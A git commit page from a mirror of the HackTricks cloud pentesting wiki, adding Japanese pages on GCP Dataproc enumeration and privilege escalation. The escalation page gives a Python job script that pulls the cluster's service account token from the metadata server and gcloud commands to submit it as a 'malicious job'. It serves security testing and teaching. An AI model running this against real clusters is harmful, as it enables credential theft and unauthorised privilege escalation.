mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
# GCP Dataproc Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataproc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataproc-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
この方法を使用してリバースシェルを取得することはできませんでしたが、以下に説明する方法を使用してメタデータエンドポイントからSAトークンを漏洩させることが可能です。
|
||||
|
||||
#### 攻撃手順
|
||||
|
||||
- GCPバケットにジョブスクリプトを配置する
|
||||
|
||||
- Dataprocクラスターにジョブを送信する。
|
||||
|
||||
- ジョブを使用してメタデータサーバーにアクセスする。
|
||||
|
||||
- クラスターによって使用されるサービスアカウントトークンを漏洩させる。
|
||||
```python
|
||||
import requests
|
||||
|
||||
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
headers = {"Metadata-Flavor": "Google"}
|
||||
|
||||
def fetch_metadata_token():
|
||||
try:
|
||||
response = requests.get(metadata_url, headers=headers, timeout=5)
|
||||
response.raise_for_status()
|
||||
token = response.json().get("access_token", "")
|
||||
print(f"Leaked Token: {token}")
|
||||
return token
|
||||
except Exception as e:
|
||||
print(f"Error fetching metadata token: {e}")
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
|
||||
# Submit the malicious job
|
||||
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# GCP - Dataproc Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
Google Cloud Dataprocは、Apache Spark、Apache Hadoop、Apache Flink、およびその他のビッグデータフレームワークを実行するための完全管理型サービスです。主にデータ処理、クエリ、機械学習、およびストリーム分析に使用されます。Dataprocは、組織がCloud Storage、BigQuery、Cloud Monitoringなどの他のGoogle Cloud Platform (GCP)サービスとシームレスに統合し、分散コンピューティングのためのクラスターを簡単に作成できるようにします。
|
||||
|
||||
Dataprocクラスターは仮想マシン(VM)上で実行され、これらのVMに関連付けられたサービスアカウントがクラスターの権限とアクセスレベルを決定します。
|
||||
|
||||
## コンポーネント
|
||||
|
||||
Dataprocクラスターには通常、以下が含まれます:
|
||||
|
||||
マスターノード:クラスターリソースを管理し、分散タスクを調整します。
|
||||
|
||||
ワーカーノード:分散タスクを実行します。
|
||||
|
||||
サービスアカウント:API呼び出しを処理し、他のGCPサービスにアクセスします。
|
||||
|
||||
## 列挙
|
||||
|
||||
Dataprocクラスター、ジョブ、および構成を列挙して、サービスアカウント、権限、および潜在的な誤設定などの機密情報を収集できます。
|
||||
|
||||
### クラスター列挙
|
||||
|
||||
Dataprocクラスターを列挙し、その詳細を取得するには:
|
||||
```
|
||||
gcloud dataproc clusters list --region=<region>
|
||||
gcloud dataproc clusters describe <cluster-name> --region=<region>
|
||||
```
|
||||
### ジョブ列挙
|
||||
```
|
||||
gcloud dataproc jobs list --region=<region>
|
||||
gcloud dataproc jobs describe <job-id> --region=<region>
|
||||
```
|
||||
### プライベートエスカレーション
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataproc-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user